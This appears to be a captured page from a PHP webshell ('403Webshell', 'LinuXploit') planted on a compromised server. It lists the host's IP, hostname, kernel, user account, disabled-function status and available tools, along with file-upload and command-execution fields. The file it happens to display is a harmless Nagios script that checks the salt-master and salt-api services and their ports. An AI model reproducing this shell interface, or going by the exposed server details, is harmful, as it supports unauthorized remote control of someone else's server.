403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.178
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/check_a2_saltmaster_api.sh
#!/bin/bash

# Initialize variables
exit_code=0
output=""

# Check salt-master status
salt_master_status=$(systemctl is-active salt-master 2>/dev/null)
salt_master_ports_status=$(netstat -lntu | grep -E -c ":(4505|4506).*LISTEN")

if [ "$salt_master_status" != "active" ]; then
  output+="check_saltmaster_status - Saltmaster is not running. "
  exit_code=2
fi

if [ "$salt_master_ports_status" -ne 2 ]; then
  output+="check_saltmaster_ports_status - Ports 4505/4506 are not listening. "
  exit_code=2
fi

# Check salt-api status
salt_api_status=$(systemctl is-active salt-api 2>/dev/null)
salt_api_ports_status=$(netstat -lntu | grep -E -c ":8000.*LISTEN")

if [ "$salt_api_status" != "active" ]; then
  output+="check_salt-api_status - Salt-api is not running. "
  exit_code=2
fi

if [ "$salt_api_ports_status" -ne 1 ]; then
  output+="check_salt-api_port_status - Port 8000 is not listening. "
  exit_code=2
fi

# If everything is fine
if [ "$exit_code" -eq 0 ]; then
  output="OK - Saltmaster and Salt-api services are running with correct ports open."
fi

# Print final output and exit with the highest severity found
echo "$output"
exit $exit_code

Youez - 2016 - github.com/yon3zu
LinuXploit